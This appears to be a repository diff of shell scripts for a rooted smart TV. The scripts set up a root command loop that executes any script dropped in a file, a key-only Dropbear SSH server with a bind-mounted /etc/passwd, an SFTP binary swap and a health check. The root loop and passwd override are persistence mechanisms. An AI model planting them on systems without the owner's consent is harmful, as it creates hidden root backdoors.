echo "=== remove sshd dir + shadows ==="
rm -rf "$D"
rm -f /3rd_rw/loglevel/lib/libtvsysinfo.so
rm -f /3rd_rw/ms-screen/lib/liblogLevel.so
rm -f /3rd_rw/appdata/liblogLevel.so
sync
echo "=== rollback done; reboot recommended ==="
+25
View File
@@ -0,0 +1,25 @@
#!/bin/sh
# /3rd_rw/appdata/root_loop.sh
# Root command loop. One instance per boot (boot_id lock).
# Write /3rd_rw/appdata/root_cmd.sh; read /3rd_rw/appdata/root_out.txt.
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin
export PATH
BID=""
[ -r /proc/sys/kernel/random/boot_id ] && BID=$(cat /proc/sys/kernel/random/boot_id 2>/dev/null)
[ -z "$BID" ] && BID=0
LOCK="/3rd_rw/appdata/root_loop.lock.$BID"
mkdir "$LOCK" 2>/dev/null || exit 0
echo "$$" > /3rd_rw/appdata/root_loop.pid
echo "loop started $$ $BID" > /3rd_rw/appdata/root_loop.log
while true; do
if [ -f /3rd_rw/appdata/root_cmd.sh ]; then
mv /3rd_rw/appdata/root_cmd.sh /3rd_rw/appdata/root_cmd.run
/bin/sh /3rd_rw/appdata/root_cmd.run > /3rd_rw/appdata/root_out.txt 2>&1
echo "rc=$?" >> /3rd_rw/appdata/root_out.txt
mv /3rd_rw/appdata/root_cmd.run /3rd_rw/appdata/root_cmd.done
fi
sleep 1
done
+39
View File
@@ -0,0 +1,39 @@
#!/bin/sh
# /3rd_rw/sshd/start_sshd.sh
# Starts Dropbear with key-only auth. Also re-creates the runtime bind mounts:
# /etc/passwd -> /3rd_rw/sshd/etc_passwd (root home -> /3rd_rw/sshd/home)
# /dev/pts -> devpts on /dev/shm/pts (PTY workaround; /dev is static ro)
# Must run as root. Idempotent.
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin
export PATH
mkdir -p /3rd_rw/sshd
# 1) passwd bind mount (root home must be writable for ~/.ssh/authorized_keys)
if ! grep -q '^root:x:0:0:root:/3rd_rw/sshd/home:' /etc/passwd 2>/dev/null; then
mount --bind /3rd_rw/sshd/etc_passwd /etc/passwd 2>>/3rd_rw/sshd/mount.log \
|| mount -o bind /3rd_rw/sshd/etc_passwd /etc/passwd 2>>/3rd_rw/sshd/mount.log
fi
# 2) PTY: /dev is a static ro squashfs, no devtmpfs. Mount devpts on tmpfs
# and bind it over /dev/pts. /dev/ptmx (5,2) remains the static node.
mkdir -p /dev/shm/pts
if ! grep -q ' /dev/shm/pts ' /proc/mounts; then
mount -t devpts -o mode=620,ptmxmode=666,gid=5 devpts /dev/shm/pts 2>>/3rd_rw/sshd/mount.log \
|| mount -t devpts devpts /dev/shm/pts 2>>/3rd_rw/sshd/mount.log
fi
if ! grep -q ' /dev/pts ' /proc/mounts; then
mount --bind /dev/shm/pts /dev/pts 2>>/3rd_rw/sshd/mount.log
fi
# 3) already running?
if [ -f /3rd_rw/sshd/dropbear.pid ]; then
PID=$(cat /3rd_rw/sshd/dropbear.pid)
if kill -0 "$PID" 2>/dev/null && grep -q dropbear "/proc/$PID/cmdline" 2>/dev/null; then
exit 0
fi
rm -f /3rd_rw/sshd/dropbear.pid
fi
# 4) start key-only Dropbear (password auth is disabled at build time)
/3rd_rw/sshd/dropbear -r /3rd_rw/sshd/host_key -p 22 \
-P /3rd_rw/sshd/dropbear.pid -E >> /3rd_rw/sshd/dropbear.log 2>&1 &
+34
View File
@@ -0,0 +1,34 @@
#!/bin/sh
# swap_sftp.sh — runs detached from enable_sftp.sh.
# Stops the old Dropbear, swaps in the SFTP-capable binary, restarts, and
# falls back to dropbear.nosftp if port 22 does not come up.
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin
export PATH
D=/3rd_rw/sshd
echo "=== swap_sftp $(date) ==="
sleep 1
if [ -f "$D/dropbear.pid" ]; then
kill "$(cat "$D/dropbear.pid")" 2>/dev/null || true
fi
sleep 1
mv -f "$D/dropbear.new" "$D/dropbear"
chmod 755 "$D/dropbear"
/bin/sh "$D/start_sshd.sh"
sleep 3
if cat /proc/net/tcp | grep -qi ':0016'; then
echo "port 22 listening with SFTP-capable dropbear"
else
echo "port 22 NOT listening; restoring dropbear.nosftp"
cp -f "$D/dropbear.nosftp" "$D/dropbear"
chmod 755 "$D/dropbear"
/bin/sh "$D/start_sshd.sh"
sleep 2
cat /proc/net/tcp | grep -i ':0016' || true
fi
echo "=== swap_sftp done ==="
ps | grep dropbear | grep -v grep || true
+47
View File
@@ -0,0 +1,47 @@
#!/bin/sh
# verify.sh — quick health check for the rooted TV (run as root).
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin
export PATH
D=/3rd_rw/sshd
echo "=== proof ==="
cat /3rd_rw/root_proof.txt 2>&1
echo "=== root loop ==="
cat /3rd_rw/appdata/root_loop.pid 2>&1
ps | grep root_loop | grep -v grep || true
echo "=== dropbear ==="
ps | grep dropbear | grep -v grep || true
cat /proc/net/tcp | grep -i ':0016' || true
/bin/busybox tail -n 10 "$D/dropbear.log" 2>&1 || true
echo "=== sftp (optional) ==="
if [ -f /3rd_rw/sshd/sftp-server ]; then
echo "sftp-server present"
else
echo "sftp-server missing (optional)"
fi
if grep -q '/3rd_rw/sshd/sftp-server' /3rd_rw/sshd/dropbear 2>/dev/null; then
echo "dropbear SFTP path OK"
else
echo "dropbear unpatched (optional; install_sftp.sh)"
fi
echo "=== passwd / root home ==="
grep '^root:' /etc/passwd
echo "=== authorized key ==="
ls -l "$D/home/.ssh/authorized_keys" 2>&1
/bin/busybox head -c 120 "$D/home/.ssh/authorized_keys" 2>&1; echo
echo "=== mounts ==="
grep -E ' /etc/passwd | /dev/pts | /dev/shm/pts ' /proc/mounts
echo "=== current uid/gid (this shell) ==="
grep -E '^(Uid|Gid|CapEff):' /proc/self/status
echo "=== host key ==="
"$D/dropbearkey" -y -f "$D/host_key" 2>&1 | /bin/busybox tail -n 3 || true
echo "=== verify done ==="